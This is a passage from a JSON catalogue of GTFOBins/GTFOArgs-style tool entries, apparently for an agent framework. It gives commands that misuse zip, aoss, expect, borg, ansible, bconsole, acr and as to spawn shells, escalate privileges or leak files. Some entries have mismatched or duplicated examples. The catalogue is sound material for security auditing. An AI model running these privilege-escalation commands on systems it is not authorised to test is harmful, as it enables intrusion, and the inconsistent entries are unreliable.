        "description": "specify credential handler for requesting",
        "aliases": [
          "--use-askpass"
        ],
        "flag": "--use-askpass"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set both ftp and http user to USER",
        "aliases": [
          "--user"
        ],
        "flag": "--user"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "identify as AGENT instead of Wget/VERSION",
        "aliases": [
          "-U",
          "--user-agent"
        ],
        "flag": "-U"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "be verbose (this is the default)",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display the version of Wget and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "wait",
        "template_key": "wait",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "wait SECONDS between retrievals",
        "aliases": [
          "-w",
          "--wait"
        ],
        "flag": "-w"
      },
      {
        "name": "waitretry",
        "template_key": "waitretry",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "wait 1..SECONDS between retries of a retrieval",
        "aliases": [
          "--waitretry"
        ],
        "flag": "--waitretry"
      },
      {
        "name": "warc-cdx",
        "template_key": "warc-cdx",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "write CDX index files",
        "aliases": [
          "--warc-cdx"
        ],
        "flag": "--warc-cdx"
      },
      {
        "name": "warc-dedup",
        "template_key": "warc-dedup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not store records listed in this CDX file",
        "aliases": [
          "--warc-dedup"
        ],
        "flag": "--warc-dedup"
      },
      {
        "name": "warc-file",
        "template_key": "warc-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save request/response data to a .warc.gz file",
        "aliases": [
          "--warc-file"
        ],
        "flag": "--warc-file"
      },
      {
        "name": "warc-header",
        "template_key": "warc-header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "insert STRING into the warcinfo record",
        "aliases": [
          "--warc-header"
        ],
        "flag": "--warc-header"
      },
      {
        "name": "warc-max-size",
        "template_key": "warc-max-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set maximum size of WARC files to NUMBER",
        "aliases": [
          "--warc-max-size"
        ],
        "flag": "--warc-max-size"
      },
      {
        "name": "warc-tempdir",
        "template_key": "warc-tempdir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "location for temporary files created by the",
        "aliases": [
          "--warc-tempdir"
        ],
        "flag": "--warc-tempdir"
      },
      {
        "name": "xattr",
        "template_key": "xattr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn on storage of metadata in extended file attributes",
        "aliases": [
          "--xattr"
        ],
        "flag": "--xattr"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/wget/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# zip\n\nGTFOArgs entry for zip. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-zip.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via zip",
    "examples": [
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells either directly or otherwise.",
        "command": "zip /tmp/out.zip /etc/hostname -T --unzip-command=\"sh #\" "
      },
      {
        "description": "Can be used to execute arbitrary commands on a system. Specifics vary depending on the version of zip used.",
        "command": "zip /tmp/out.zip /etc/hostname -T --unzip-command=\"uname -a #\" "
      }
    ],
    "execution": {
      "template": "zip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-zip",
    "name": "zip",
    "namespace": "argument:injection:zip",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/zip/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# aoss — OSS Sound Wrapper\n\naoss is used to run programs with OSS sound support. When installed with SUID or available via sudo, it can spawn a shell by wrapping `/bin/sh`.\n",
    "_source": "aoss.md",
    "allowed-tools": [
      "aoss",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OSS sound wrapper that can spawn a shell by wrapping /bin/sh.",
    "examples": [
      {
        "description": "Spawn interactive shell via OSS sound wrapper",
        "command": "aoss /bin/sh"
      }
    ],
    "execution": {
      "template": "aoss {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "audio-oss-aoss",
    "install": [
      {
        "method": "apt",
        "package_name": "oss-compat",
        "commands": [
          "apt-get install -y oss-compat"
        ]
      }
    ],
    "name": "aoss",
    "namespace": "audio:oss:aoss",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "aoss man page",
        "url": "https://man7.org/linux/man-pages/man1/aoss.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "espeak.md",
    "allowed-tools": [
      "espeak",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Text-to-speech synthesizer, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via espeak",
        "command": "espeak -f /path/to/file"
      },
      {
        "description": "Execute command via espeak",
        "command": "espeak -f /path/to/file"
      }
    ],
    "execution": {
      "template": "espeak -f /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "audio-speech-espeak",
    "install": [
      {
        "method": "apt",
        "package_name": "espeak",
        "commands": [
          "apt-get install -y espeak"
        ]
      }
    ],
    "name": "espeak",
    "namespace": "audio:speech:espeak",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/espeak/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# ansible-playbook — Ansible Playbook Runner\n\nExecutes Ansible playbooks. By crafting a playbook with a shell task, it can spawn an interactive shell when used with sudo.\n",
    "_source": "ansible-playbook.md",
    "allowed-tools": [
      "ansible-playbook",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to ansible playbook"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ansible playbook executor that can spawn a shell via crafted playbook with shell tasks.",
    "examples": [
      {
        "description": "Spawn interactive shell via crafted playbook",
        "command": "echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file\nansible-playbook /path/to/temp-file"
      }
    ],
    "execution": {
      "template": "ansible-playbook {0}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "automation-config-ansible-playbook",
    "install": [
      {
        "method": "pip",
        "commands": [
          "pip install ansible"
        ]
      }
    ],
    "name": "ansible-playbook",
    "namespace": "automation:config:ansible-playbook",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Ansible playbook documentation",
        "url": "https://docs.ansible.com/ansible/latest/cli/ansible-playbook.html"
      }
    ],
    "related_tools": [
      "ansible-test"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "playbook-file"
      ]
    }
  },
  {
    "_body": "\n\n# ansible-test — Ansible Testing Tool\n\nPart of the Ansible testing framework. The `shell` subcommand spawns an interactive shell, useful for privilege escalation when the binary has sudo access.\n",
    "_source": "ansible-test.md",
    "allowed-tools": [
      "ansible-test",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ansible testing tool that can spawn a shell directly via the shell subcommand.",
    "examples": [
      {
        "description": "Spawn an interactive shell",
        "command": "ansible-test shell"
      }
    ],
    "execution": {
      "template": "ansible-test {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "automation-config-ansible-test",
    "install": [
      {
        "method": "pip",
        "commands": [
          "pip install ansible"
        ]
      }
    ],
    "name": "ansible-test",
    "namespace": "automation:config:ansible-test",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Ansible-test documentation",
        "url": "https://docs.ansible.com/ansible/latest/cli/ansible-test.html"
      }
    ],
    "related_tools": [
      "ansible-playbook"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "cdist.md",
    "allowed-tools": [
      "cdist",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configuration management tool, can spawn a shell via the cdist shell command.",
    "examples": [
      {
        "description": "Spawn a shell via cdist",
        "command": "cdist shell -s /bin/sh"
      }
    ],
    "execution": {
      "template": "cdist shell -s /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "automation-config-cdist",
    "install": [
      {
        "method": "pip",
        "package_name": "cdist",
        "commands": [
          "pip install cdist"
        ]
      }
    ],
    "name": "cdist",
    "namespace": "automation:config:cdist",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cdist/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# expect — Programmed Dialogue with Interactive Programs\n\nexpect automates interactive applications. When used with sudo or SUID, it can read files through parsing errors and spawn interactive shells via the `spawn` and `interact` commands.\n",
    "_source": "expect.md",
    "allowed-tools": [
      "expect",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell",
      "automation.script"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to expect script"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Automates interactive applications, can read files and spawn interactive shells.",
    "examples": [
      {
        "description": "Read arbitrary file via parsing error message",
        "command": "expect /path/to/input-file"
      },
      {
        "description": "Spawn interactive shell",
        "command": "expect -c 'spawn /bin/sh;interact'"
      },
      {
        "description": "Spawn privileged shell with SUID",
        "command": "expect -c 'spawn /bin/sh -p;interact'"
      }
    ],
    "execution": {
      "template": "expect {c}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "automation-expect",
    "install": [
      {
        "method": "apt",
        "package_name": "expect",
        "commands": [
          "apt-get install -y expect"
        ]
      }
    ],
    "name": "expect",
    "namespace": "automation:interactive:expect",
    "parameters": [
      {
        "name": "c",
        "type": "string",
        "required": false,
        "description": "Command to execute",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "expect man page",
        "url": "https://man7.org/linux/man-pages/man1/expect.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "shell-access"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "bconsole.md",
    "allowed-tools": [
      "bconsole",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or SUID execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file content output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Bareos backup console, can read files via error messages and spawn shells via @exec.",
    "examples": [
      {
        "description": "Read a file via bconsole error message",
        "command": "bconsole -c /path/to/file-input"
      },
      {
        "description": "Spawn a shell from the bconsole CLI",
        "command": "bconsole\n@exec /bin/sh\n"
      }
    ],
    "execution": {
      "template": "bconsole",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "backup-bareos-bconsole",
    "install": [
      {
        "method": "apt",
        "package_name": "bareos-console",
        "commands": [
          "apt-get install -y bareos-console"
        ]
      }
    ],
    "name": "bconsole",
    "namespace": "backup:bareos:bconsole",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read or config to parse"
      },
      {
        "name": "exec_cmd",
        "type": "string",
        "required": false,
        "description": "Command to execute via @exec"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bconsole/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "borg.md",
    "allowed-tools": [
      "borg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "BorgBackup deduplicating backup tool, can spawn a shell via the extract command's rsh option.",
    "examples": [
      {
        "description": "Spawn a shell via borg extract rsh option",
        "command": "borg extract @:/::: --rsh \"/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'\"\n"
      }
    ],
    "execution": {
      "template": "borg extract @:/:: --rsh 'shell_command'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "backup-borg-borg",
    "install": [
      {
        "method": "apt",
        "package_name": "borgbackup",
        "commands": [
          "apt-get install -y borgbackup"
        ]
      }
    ],
    "name": "borg",
    "namespace": "backup:borg:borg",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/borg/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "restic.md",
    "allowed-tools": [
      "restic",
      "borg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Backup tool, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via restic",
        "command": "restic backup /path/to/dir"
      }
    ],
    "execution": {
      "template": "restic backup /path/to/dir",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "backup-restic-restic",
    "install": [
      {
        "method": "apt",
        "package_name": "restic",
        "commands": [
          "apt-get install -y restic"
        ]
      }
    ],
    "name": "restic",
    "namespace": "backup:restic:restic",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/restic/"
      }
    ],
    "related_tools": [
      "borg",
      "rsync"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "plymouth.md",
    "allowed-tools": [
      "plymouth",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Boot screen daemon, can execute commands.",
    "examples": [
      {
        "description": "Execute command via plymouth",
        "command": "plymouth /path/to/command"
      }
    ],
    "execution": {
      "template": "plymouth /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "boot-plymouth-plymouth",
    "install": [
      {
        "method": "apt",
        "package_name": "plymouth",
        "commands": [
          "apt-get install -y plymouth"
        ]
      }
    ],
    "name": "plymouth",
    "namespace": "boot:plymouth:plymouth",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/plymouth/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# as — GNU Assembler\n\nThe GNU assembler converts assembly source code to object code. The `@file` directive reads options from a file, which can be abused to leak arbitrary file contents through error messages when used with elevated privileges.\n",
    "_source": "as.md",
    "allowed-tools": [
      "as",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "build.compile.assembly"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file read via @file directive"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content leaked as error messages",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU assembler that can read files via the @file directive, leaking lines as error messages.",
    "examples": [
      {
        "description": "Read arbitrary file via @file directive, leaked as error messages",
        "command": "as @/path/to/input-file"
      }
    ],
    "execution": {
      "template": "as {at-file}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "build-assembler-as",
    "install": [
      {
        "method": "apt",
        "package_name": "binutils",
        "commands": [
          "apt-get install -y binutils"
        ]
      }
    ],
    "name": "as",
    "namespace": "build:assembler:as",
    "parameters": [
      {
        "name": "at-file",
        "type": "file",
        "required": false,
        "description": "Read options from file using @ prefix",
        "template_key": "file",
        "aliases": [
          "@"
        ],
        "flag": "@"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "as man page",
        "url": "https://man7.org/linux/man-pages/man1/as.1.html"
      }
    ],
    "related_tools": [
      "gcc",
      "ld"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nasm.md",
    "allowed-tools": [
      "nasm",
      "as",
      "ld",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Binary execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Netwide Assembler, can execute commands via compiled binaries.",
    "examples": [
      {
        "description": "Execute command via nasm",
        "command": "nasm -f bin /path/to/input.asm -o /path/to/output"
      }
    ],
    "execution": {
      "template": "nasm -f bin /path/to/input.asm -o /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-assembler-nasm",
    "install": [
      {
        "method": "apt",
        "package_name": "nasm",
        "commands": [
          "apt-get install -y nasm"
        ]
      }
    ],
    "name": "nasm",
    "namespace": "build:assembler:nasm",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nasm/"
      }
    ],
    "related_tools": [
      "as",
      "ld"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# acr — Automatic Makefile Dependency Generator\n\nacr generates Makefile dependencies. It can be abused to execute arbitrary commands when used with sudo or SUID by crafting a Makefile with a shell command target.\n",
    "_source": "acr.md",
    "allowed-tools": [
      "acr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to Makefile fragment"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Automatic Makefile dependency generator that can execute arbitrary commands through Makefile rules.",
    "examples": [
      {
        "description": "Execute arbitrary command via crafted Makefile",
        "command": "echo -e 'x:\\n\\t/bin/sh 1>&0 2>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\nacr -r ./relative/path/to/temp-file"
      }
    ],
    "execution": {
      "template": "acr {r}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-automake-acr",
    "install": [
      {
        "method": "apt",
        "package_name": "autoconf",
        "commands": [
          "apt-get install -y autoconf"
        ]
      }
    ],
    "name": "acr",
    "namespace": "build:automake:acr",
    "parameters": [
      {
        "name": "r",
        "type": "string",
        "required": false,
        "description": "Set the -r parameter",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "acr manual",
        "url": "https://www.gnu.org/software/automake/manual/"
      }
    ],
    "related_tools": [
      "make",
      "autoreconf"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": [
        "temp-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "autoconf.md",
    "allowed-tools": [
      "autoconf",
      "Bash",
